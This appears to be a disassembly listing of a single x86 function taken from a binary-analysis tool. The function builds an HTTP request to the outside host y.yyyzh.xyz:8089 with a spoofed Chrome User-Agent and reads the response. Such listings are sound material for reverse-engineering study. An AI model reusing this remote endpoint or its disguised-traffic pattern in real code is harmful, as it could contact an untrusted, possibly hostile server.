Function at 0x404d4c
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 0xc
call fcn.004837fd
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx], 0x5cdcff
push ebx
add ebx, 4
push ebx
push 8
call fcn.004837fd
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x5cdc52
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
add ebx, 4
push ebx
push 8
call fcn.004837fd
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x5cdc52
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
push 0xffffffffffffffff
push 8
push 0x16012db7
push 0x52012d3f
call fcn.00483833
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404e26
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0xffffffffffffffff
push 8
push 0x16012db1
push 0x52012d3f
call fcn.00483833
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404e57
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 8], eax
push str.yy22488
push dword [ebp - 8]
push dword [ebp - 4]
mov ecx, 3
call fcn.004011f7
add esp, 0xc
mov dword [ebp - 0x28], eax
push getpeername
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x404e89
mov eax, 0x5a3e34
push eax
push 1
mov ebx, 0x485150
call fcn.00483803
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x404eaf
push ebx
call fcn.00483809
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404ec2
mov eax, 0x5cdc52
push eax
push 1
mov eax, 4
mov ebx, 0x4fb340
call fcn.00483821
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404eed
push ebx
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404f01
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push 0x5cdc5a
push dword [ebp - 8]
push str.my
push dword [ebp - 4]
push str.http:__y.yyyzh.xyz:8089_ydcx_qq
mov ecx, 6
call fcn.004011f7
add esp, 0x18
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404f41
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov eax, str.Mozilla_5.0__Windows_NT_6.1__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_50.0.2661.87_Safari_537.36
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
mov eax, str.User_Agent
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 8]
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x404f8e
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404f9e
push ebx
call fcn.00483809
add esp, 4
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
lea eax, [ebp - 0x18]
push eax
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404fcf
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
push 1
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
push 1
push dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
call fcn.00405360
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x405084
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x405094
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4050a4
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4050b4
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4050c4
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4050d4
push ebx
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4050e8
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00409b42
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40512e
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40513e
push ebx
call fcn.00483809
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405151
mov eax, 0x5cdc52
push eax
push 1
mov ebx, 0x485b70
call fcn.00483803
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x405177
push ebx
call fcn.00483809
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40518b
push ebx
call fcn.00483809
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4051ab
push eax
mov ebx, eax
call fcn.0040118c
inc eax
push eax
call fcn.004837fd
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x4051b0
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4051c1
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4051d1
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4051e1
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4051f1
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405211
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x405221
push ebx
call fcn.00483809
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x405231
push ebx
call fcn.00483809
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret